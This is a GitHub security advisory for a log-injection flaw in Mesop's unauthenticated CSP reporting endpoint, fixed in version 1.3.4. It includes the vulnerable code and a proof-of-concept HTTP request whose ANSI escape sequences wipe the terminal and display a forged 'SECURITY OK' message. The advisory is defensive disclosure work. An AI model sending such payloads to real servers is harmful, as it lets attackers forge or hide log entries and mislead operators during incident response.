GHSA-G7F6-RXC4-QHPH

Vulnerability from github – Published: 2026-09-23 19:01 – Updated: 2026-09-23 19:01
VLAI
Summary
Mesop: Unauthenticated ANSI Escape Sequence Injection in CSP Reporting Endpoint
Details

Summary

The /__csp__ endpoint accepts unauthenticated JSON reports and logs user-controlled values directly to stdout using print() without escaping control characters.

A remote attacker can include ANSI/VT100 escape sequences in fields such as blocked-uri or document-uri. When the logs are viewed in an ANSI-capable terminal, these sequences can manipulate the displayed output (e.g., clear the screen, hide text, or inject misleading messages), affecting the integrity of operator-facing logs.

Details

The CSP reporting endpoint accepts arbitrary JSON and prints several request fields directly:

mesop/server/static_file_serving.py

@app.route(prefix_base_url("/__csp__"), methods=["POST"])
def csp_report():
    report = request.get_json(force=True)

    document_uri = report["csp-report"]["document-uri"]
    blocked_uri = report["csp-report"]["blocked-uri"]
    violated_directive = report["csp-report"]["violated-directive"]

    print(f"... Blocked URL: {blocked_uri} ...")

Since these values are written to stdout without sanitization, ANSI escape sequences supplied by a remote client are preserved and interpreted by ANSI-compatible terminals.

PoC

Send the following request:

POST /__csp__
Content-Type: application/json

{
  "csp-report": {
    "document-uri": "https://victim.example",
    "blocked-uri": "\u001b[2J\u001b[H\u001b[32m*** SECURITY OK - No CSP violations found ***\u001b[0m\n\u001b[8mhttps://evil.example",
    "violated-directive": "script-src-elem"
  }
}

The request is accepted (HTTP 204), and the injected escape sequences are written to stdout unchanged.

When the captured output is rendered in a VT100-compatible terminal (verified using pyte), the original CSP warning is visually replaced with attacker-controlled content.

Expected output

    Content Security Policy Error

Directive: script-src-elem
Blocked URL: ...
App path: /app

Rendered output

*** SECURITY OK - No CSP violations found ***
https://evil.example
App path: /app

Impact

An unauthenticated remote attacker can submit a crafted request to the /csp endpoint containing ANSI/VT100 escape sequences. Because these values are written directly to stdout without sanitization, an attacker can:

  1. Inject forged log messages that appear to originate from the application.
  2. Manipulate the terminal display by clearing the screen, moving the cursor, or overwriting previously displayed log output.
  3. Hide or disguise security-relevant log entries using terminal formatting sequences such as colors, hidden text, or cursor positioning.
  4. Mislead administrators during monitoring or incident response by displaying attacker-controlled messages (e.g., fake "SECURITY OK" notifications).
  5. Reduce the integrity and trustworthiness of operator-facing logs, making troubleshooting and security investigations less reliable.
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.3.3"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "mesop"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.3.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-93421"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-117",
      "CWE-150"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-23T19:01:05Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe `/__csp__` endpoint accepts unauthenticated JSON reports and logs user-controlled values directly to stdout using `print()` without escaping control characters.\n\nA remote attacker can include ANSI/VT100 escape sequences in fields such as `blocked-uri` or `document-uri`. When the logs are viewed in an ANSI-capable terminal, these sequences can manipulate the displayed output (e.g., clear the screen, hide text, or inject misleading messages), affecting the integrity of operator-facing logs.\n\n### Details\n\nThe CSP reporting endpoint accepts arbitrary JSON and prints several request fields directly:\n\nmesop/server/static_file_serving.py\n```python\n@app.route(prefix_base_url(\"/__csp__\"), methods=[\"POST\"])\ndef csp_report():\n    report = request.get_json(force=True)\n\n    document_uri = report[\"csp-report\"][\"document-uri\"]\n    blocked_uri = report[\"csp-report\"][\"blocked-uri\"]\n    violated_directive = report[\"csp-report\"][\"violated-directive\"]\n\n    print(f\"... Blocked URL: {blocked_uri} ...\")\n```\n\nSince these values are written to stdout without sanitization, ANSI escape sequences supplied by a remote client are preserved and interpreted by ANSI-compatible terminals.\n\n### PoC\n\nSend the following request:\n\n```http\nPOST /__csp__\nContent-Type: application/json\n\n{\n  \"csp-report\": {\n    \"document-uri\": \"https://victim.example\",\n    \"blocked-uri\": \"\\u001b[2J\\u001b[H\\u001b[32m*** SECURITY OK - No CSP violations found ***\\u001b[0m\\n\\u001b[8mhttps://evil.example\",\n    \"violated-directive\": \"script-src-elem\"\n  }\n}\n```\n\nThe request is accepted (HTTP 204), and the injected escape sequences are written to stdout unchanged.\n\nWhen the captured output is rendered in a VT100-compatible terminal (verified using `pyte`), the original CSP warning is visually replaced with attacker-controlled content.\n\n**Expected output**\n\n```text\n    Content Security Policy Error\n\nDirective: script-src-elem\nBlocked URL: ...\nApp path: /app\n```\n\n**Rendered output**\n\n```text\n*** SECURITY OK - No CSP violations found ***\nhttps://evil.example\nApp path: /app\n```\n\n### Impact\n\nAn unauthenticated remote attacker can submit a crafted request to the /__csp__ endpoint containing ANSI/VT100 escape sequences. Because these values are written directly to stdout without sanitization, an attacker can:\n\n1. Inject forged log messages that appear to originate from the application.\n2. Manipulate the terminal display by clearing the screen, moving the cursor, or overwriting previously displayed log output.\n3. Hide or disguise security-relevant log entries using terminal formatting sequences such as colors, hidden text, or cursor positioning.\n4. Mislead administrators during monitoring or incident response by displaying attacker-controlled messages (e.g., fake \"SECURITY OK\" notifications).\n5. Reduce the integrity and trustworthiness of operator-facing logs, making troubleshooting and security investigations less reliable.",
  "id": "GHSA-g7f6-rxc4-qhph",
  "modified": "2026-09-23T19:01:05Z",
  "published": "2026-09-23T19:01:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mesop-dev/mesop/security/advisories/GHSA-g7f6-rxc4-qhph"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mesop-dev/mesop/pull/1397"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mesop-dev/mesop/commit/f38c42a1d3eba246941ef8d7f645072d53c58785"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mesop-dev/mesop"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mesop-dev/mesop/releases/tag/v1.3.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Mesop: Unauthenticated ANSI Escape Sequence Injection in CSP Reporting Endpoint"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…